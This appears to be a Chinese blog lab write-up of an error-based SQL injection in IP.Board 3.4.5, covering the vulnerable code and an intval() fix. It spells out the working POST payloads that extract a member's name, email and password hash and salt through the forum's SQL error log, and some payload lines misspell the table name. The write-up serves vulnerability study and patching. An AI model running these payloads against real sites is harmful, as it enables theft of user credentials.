IP.Board3.4.5中SQL注入漏洞的利用与分析

  • A+
所属分类:DataBase

之前在FREEBUF上看到一篇文章,题目是《IP.Board<=3.4.7SQL注入漏洞(0day)POC》,对这个话题比较感兴趣,搭建了实验环境,进行了实验,便有了此文。

一、背景信息

首先先来简单介绍一下这个web程序的背景信息,以及关于这个漏洞的一些基本概况:

IPB论坛全称为InvisionPowerBoard(缩写为IPB或IP.Board),是世界上最著名的论坛程序之一,由PHP+MySQL架构,1.X版本是免费的,从2.X开始收费。很多大单位都是其用户比如美国国家航空航天局和超微半导体公司(AMD)等等。

在这个系统中存在interface/ipsconnect/ipconnect.php页面没有正确处理id参数,导致网站会出现sqlerror。此漏洞会把错误信息写入/cache/sql_error_latest.cgi。通过与此文件的不断交互,可以获得敏感信息。网上已经出现针对此漏洞的PoC代码,该代码用python写成,链接为:http://seclists.org/fulldisclosure/2014/Nov/20

利用此代码时可能需要在源代码中对目标IP地址进行修改

可以在国内的网站上找到IP.Board的版本3.4.5,此版本满足存在漏洞的条件,我在WAMP环境中搭建了IP.Board的实验环境,安装过程中设置用户名为navyofficer,密码为navyofficer,邮箱为[email protected],并且系统中仅有此一个用户。

二、具体攻击过程

1、获得系统中用户的数量

攻击者发送如下的POST请求

act=login&idType=id&id[]=-1&id[]=-1)and 1!="'" and extractvalue(1,concat(0x3a,(SELECT
COUNT(*) FROM members)))#'

用于获得系统中存在的用户数目。

随后访问sql_error_latest.cgi,系统返回如下的内容,在报错信息中获得系统中存在的用户数量

可知系统中存在一个用户。

2、获得用户的ID

攻击者发送如下的POST请求

act=login&idType=id&id[]=-1&id[]=-1) and 1!="'" and extractvalue(1,concat(0x3a,(SELECT member_id FROM mebers LIMIT 0,1)))#'

用于获得用户的ID

随后访问sql_error_latest.cgi,系统返回如下的内容,在报错信息中获得系统中存在的用户ID。

可知用户的ID为1

3、获得用户的名字

攻击者发送如下的POST请求

act=login&idType=id&id[]=-1&id[]=-1) and 1!="'" and extractvalue(1,concat(0x3a,(SELECT name FROM mebers LIMIT 0,1)))#'

用于获得用户的名字

随后访问sql_error_latest.cgi,系统返回如下的内容,在报错信息中获得系统中存在的用户的名字。

可知用户名为navyofficer

4、获得用户的邮箱

攻击者发送如下的POST请求

act=login&idType=id&id[]=-1&id[]=-1) and 1!="'" and extractvalue(1,concat(0x3a,(SELECT email FROM mebers LIMIT 0,1)))#

用来获得用户的邮箱

随后访问sql_error_latest.cgi,系统返回如下的内容,在报错信息中获得系统中存在的用户的邮箱。

可知用户的邮箱为[email protected]

5、获得用户的密码HASH

攻击者发送如下的POST请求

act=login&idType=id&id[]=-1&id[]=-1) and 1!="'" and 
extractvalue(1,concat(0x3a,(SUBSTRING((SELECT CONCAT(members_pass_hash, 0x3a, 
members_pass_salt) FROM members LIMIT 0,1), 1, 31)))#'

act=login&idType=id&id[]=-1&id[]=-1) and 1!="'" and 
extractvalue(1,concat(0x3a,(SUBSTRING((SELECT CONCAT(members_pass_hash, 0x3a, 
members_pass_salt) FROM members LIMIT 0,1), 32, 31)))#'

用来获得用户的密码HASH

随后访问sql_error_latest.cgi,系统返回如下的内容,在报错信息中获得系统中存在的用户的密码HASH

这一步分为两步进行,其实之前的步骤在获得敏感信息之前都会先判断结果的长度,如果大于31,则会分多步进行,比如在获得名字之前会先发送如下POST:

act=login&idType=id&id[]=-1&id[]=-1) and 1!="'" and 
extractvalue(1,concat(0x3a,(LENGTH((SELECT name FROM members LIMIT 0,1)))))#'

由于返回结果小于31,直接查询.

获得用户密码HASH的过程中,会先发送如下POST请求:

act=login&idType=id&id[]=-1&id[]=-1) and 1!="'" and 
extractvalue(1,concat(0x3a,(LENGTH((SELECT CONCAT(members_pass_hash, 0x3a, 
members_pass_salt) FROM members LIMIT 0,1)))))#'

返回结果表示,密码HASH的长度为38,大于31,因此得到敏感信息的过程分为了两步进行。

在返回的结果中需要将两次得到的结果连接起来。

三、攻击效果

运行攻击代码

可见攻击代码将系统中存在的用户数量,用户名称,用户邮箱,用户密码HASH都曝了出来。并且和上面对数据包的分析结果完全相同,由此可知攻击成功。

四、漏洞解析

首先粘出两个重要的代码片段,如下:

图1:

图2:

在interface/ipsconnect/ipconnect.php的第772行存在如下语句

call_user_func_array( array( $ipsConnect, $_REQUEST['act'] ), $params );

攻击发生时,$_REQUEST['act']从URL获得值,结果被赋值为login。此时与login方法对应的$params为

'login' => array( 'idType', 'id', 'password', 'key', 'redirect', 'redirectHash' )

这是一个数组参数,会被传递给[ipsConnect].login,随后此函数被调用。这个函数的的原型为

public function login( $identifier, $identifierValue, $md5Password, $key, $redirect, $redirectHash )

函数中有一句代码,在interface/ipsconnect/ipconnect.php的第100行,如下:

$member = IPSMember::load($identifierValue, 'none', $identifier );

id的值被传递给变量$identifierValue,可见此处对传进来的变量没有做类型检查。因此,存在漏洞。

我们将相应的语句进行加固,即添加intval()函数强制将$identifierValue变量转成整数类型。具体如下:

$member = IPSMember::load(intval($identifierValue), 'none', $identifier );

当再次运行攻击脚本时,会发现攻击脚本运行错误,无法继续利用此漏洞。

可知我们的修复时成功的。

五、修复建议

此漏洞被曝出的日期为2014年11月9日,第二天也就是11月10日,厂商InvisionPowerServices就给出了相应的补丁。用户可自行下载补丁进行补救。

六、总结

本文是对一个实验的详细讲解,通过搭建靶机环境,运行攻击脚本,分析攻击过程中产生的数据包,并对存在问题的WEB程序进行了分析,感觉亲手搭建环境并进行实验对于技术的成长是很有帮助的。

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: